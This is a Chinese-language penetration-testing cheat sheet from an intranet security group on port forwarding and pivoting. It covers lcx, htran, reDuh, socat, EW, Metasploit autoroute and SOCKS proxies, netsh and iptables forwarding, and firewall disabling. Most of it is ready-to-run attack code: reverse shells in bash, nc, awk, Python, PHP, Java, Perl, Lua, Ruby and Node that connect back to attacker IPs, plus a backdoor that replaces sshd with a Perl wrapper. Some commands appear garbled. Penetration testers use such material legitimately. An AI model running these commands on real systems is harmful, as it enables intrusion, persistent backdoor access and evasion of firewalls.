天天看點

内網小組 | 端口轉發 全劇終

<code>本文作者:掉到魚缸裡的貓(Ms08067内網安全小組成員)</code>

方法一:

靶機:

攻擊機:nc -nv 靶機IP 靶機監聽端口

反向Shell:

不能轉發3389

正向shell

服務端:lcx -slave 公網IP 公網端口 本地IP 本地端口

公網用戶端:lcx -listen 遠端端口 本地端口

用戶端連接配接本地端口,對應于連接配接遠端端口

先啟動listen,再啟動slave

服務端:上傳腳本到Web目錄,伺服器要求打開 enable_dl 功能

同時安裝 php_sockets擴充用戶端:

使用Proxifier将需要的流量引入本地端口sock5模式

有腳本可以指定不使用sock5協定

使用 -n 參數關閉sock協定

内網小組 | 端口轉發 全劇終

這個False問題不大

不能用linux的rdesktop連接配接,要用Windows的遠端桌面連接配接

内網小組 | 端口轉發 全劇終

這種情況問題也不大

點選是之前再運作一次腳本就行

服務端:上傳腳本到Web目錄

用戶端:java -jar reDuhClient.jar http://腳本位置 進行連接配接

本地連接配接java傳回的本地端口 nc -vv localhost 本地端口

在指令提示符中輸入 [createTunnel]本地空閑端口:目标位址(想要通路的目标内網位址):目标端口

伺服器(目标主機):htran -slave 跳闆IP 跳闆port 本地ip 本地端口

跳闆機:htran -tran 跳闆port 公網IP 公網端口

用戶端(公網主機):htran -listen 公網監聽端口 流量接收端口

靶機:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:公網IP:公網端口

攻擊機:socat TCP-LISTEN:端口 - ,nc監聽也行

穿透兩個網絡

公網跳闆A:跳闆A在B和C的兩個内網中間

為什麼說是“本地”(單純的-L選項):

本地端口轉發綁定的是 lookback 接口,這意味着隻有localhost 或者 127.0.0.1 才能使用本機的端口轉發 , 其他機器發起的連接配接隻會得到“ connection refused. ”

但是可以利用GatewayPorts(-g)關鍵字來與其他機器共享這個本地轉發端口。

内網小組 | 端口轉發 全劇終

EW 是一套便攜式的網絡穿透工具,具有 SOCKS v5服務架設和端口轉發兩大核心功能,可在複雜網絡環境下完成網絡穿透。

具有流量加密

友好的指令行參數

邏輯優化

UDP流量轉發

https://github.com/EddieIvan01/iox

各種系統都支援,支援内網穿透

……說實話,沒來得及嘗試,單看文檔沒看懂

利用IIS的端口共享功能繞過防火牆

telnet 可以換成 nc

``

攻擊機nc監聽:nc -lp 空閑端口

服務端(靶機):mknod a p;telnet 攻擊機IP 攻擊機端口 0&lt;a | /bin/bash 1&gt;a

mknod指令中,a表示這個管道的名,p表示這個管道為FIFO(先進先出)和mkfifo一樣,就是後面mkfifo/tmp/backpipe1這種

攻擊機:nc-lp 6666,nc-lp 5555,在監聽的6666的nc上輸入指令,在5555的nc上看傳回的消息

靶機:telnet 攻擊機 IP 6666| /bin/bash | telnet 攻擊機 IP 5555

靶機執行:netcat -lvp 5555 -e /bin/sh

攻擊機執行:nc 靶機IP 靶機端口

攻擊機執行:nc-lvvp 5555

靶機執行:nc 攻擊機IP 端口 -t -e /bin/bash

mkfifo /tmp/backpipe1 | /bin/sh0&lt;/tmp/backpipe1 | nc回連位址6666 1 &gt; /tmp/backpipe1

服務端:bash -i &gt;&amp; /dev/tcp/公網IP/公網端口 0&gt;&amp;1

用戶端:nc -lvvp 端口

awk

'BEGIN{s="/inet/tcp/0/192.168.1.128/8080";for(;s|&amp;getline c;close(c))while(c|getline)print|&amp;s;close(s)}'

import socket,subprocess,os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect(("公網IP",目标端口));

os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);

p=subprocess.call(["/bin/sh","-i"]);

eval(import('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.15.55 23333 &gt;/tmp/f'))

$sock=fsockopen("公網IP",端口);

exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");

public class Revs {

/**

@param args

@throws Exception

*/

public static void main(String[] args) throws Exception {

// TODO Auto-generated method stub

Runtime r = Runtime.getRuntime();

String cmd[]= {"/bin/bash","-c","exec

5&lt;&gt;/dev/tcp/192.168.3.251/8080;cat &lt;&amp;5 | while read line; do $line 2&gt;&amp;5 &gt;&amp;5; done"};

Process p = r.exec(cmd); p.waitFor(); } }

public class Test {

Runtime r=Runtime.getRuntime();

Process p=r.exec(new String[]{"/bin/bash","-c","bash -i &gt;&amp; /dev/tcp/192.168.3.251/8888 0&gt;&amp;1"});

p.waitFor();

}

use Socket;

socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in(端口,inet_aton("公網IP"))))

{

open(STDIN,"&gt;&amp;S");

open(STDOUT,"&gt;&amp;S");

open(STDERR,"&gt;&amp;S");

exec("/bin/sh -i");

};

perl -MIO -e '$p=fork;

exit,if($p);

$c=new

IO::Socket::INET(PeerAddr,"1.1.1.1:8080");

STDIN-&gt;fdopen($c,r);

$~-&gt;fdopen($c,w);system$_ while&lt;&gt;;'

lua -e

"require('socket');require('os');t=socket.tcp();t:connect('192.168.3.251','80 80');os.execute('/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3');"

ruby -rsocket -e 'exit if

fork;c=TCPSocket.new("192.168.3.251","8080");while(cmd=c.gets);IO.popen(cmd," r"){|io|c.print io.read}end'

(function(){

var net = require("net"),

cp = require("child_process"),

sh = cp.spawn("/bin/sh", []);

var client = new net.Socket();

client.connect(8080, "10.17.26.64", function(){

client.pipe(sh.stdin);

sh.stdout.pipe(client);

sh.stderr.pipe(client);

});

return /a/;

})();

靶機執行:ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8080;

攻擊機執行:ssh root@目标 -p 設定的端口 需要密碼

cd /usr/sbin/

mv sshd ../bin/

echo '#!/usr/bin/perl' &gt;sshd

echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' &gt;&gt;sshd

echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' &gt;&gt;sshd

chmod u+x sshd

/etc/init.d/sshd restart

socat STDIO TCP4:192.168.1.129:22,sourceport=13377

msfvenom -l payloads | grep "cmd/unix"|awk '{print $1}'

meterpreter&gt; run autoroute -s 192.168.11.0/24

meterpreter&gt; background

msf&gt; use auxiliary/server/socks4a

msf auxiliary(socks4a)&gt; set srvhost 本機位址

msf auxiliary(socks4a)&gt; set srvport 想要監聽的端口

msf auxiliary(socks4a)&gt; run

meterpreter&gt; portfwd add -L 本地位址 -l 本地空閑端口 -p 目标端口 -r 目标位址

meterpreter&gt; run autoroute -s 192.168.12.0/24

msf auxiliary(socks4a) &gt; set SRVPORT 空閑端口

dynamic_chain

proxy_dns

tcp_read_time_out 15000

tcp_connect_time_out 8000

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\Tcpip \Parameters 中的 IPEnableRouter

netsh interface portproxy add v4tov4 listenaddress=本地iP listenport=本地端口 connectaddress=轉發目标 connectport=轉發端口 ( add 換成 delete 就是删除啦~)

netsh firewall set opmode disable 或 netsh advfirewall set allprofiles state off

netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allow

netsh advfirewall firewall delete rule name="f.exe"

netsh advfirewall firewall add rule name="HTTP" protocol=TCP dir=in localport=8080 action=allow

netsh advfirewall firewall delete rule name="HTTP" protocol=TCP dir=in localport=8080

iptables –t nat –A POSTROUTING –s 192.168.10.10 –o eth1 –j SNAT --to-source 111.196.221.212

iptables -t nat -A PREROUTING -p tcp --dport 本機監聽端口 -j DNAT --to- destination 目标IP:端口

iptables -t nat -A POSTROUTING -d 目标主機 -j SNAT --to-source 本機IP

繼續閱讀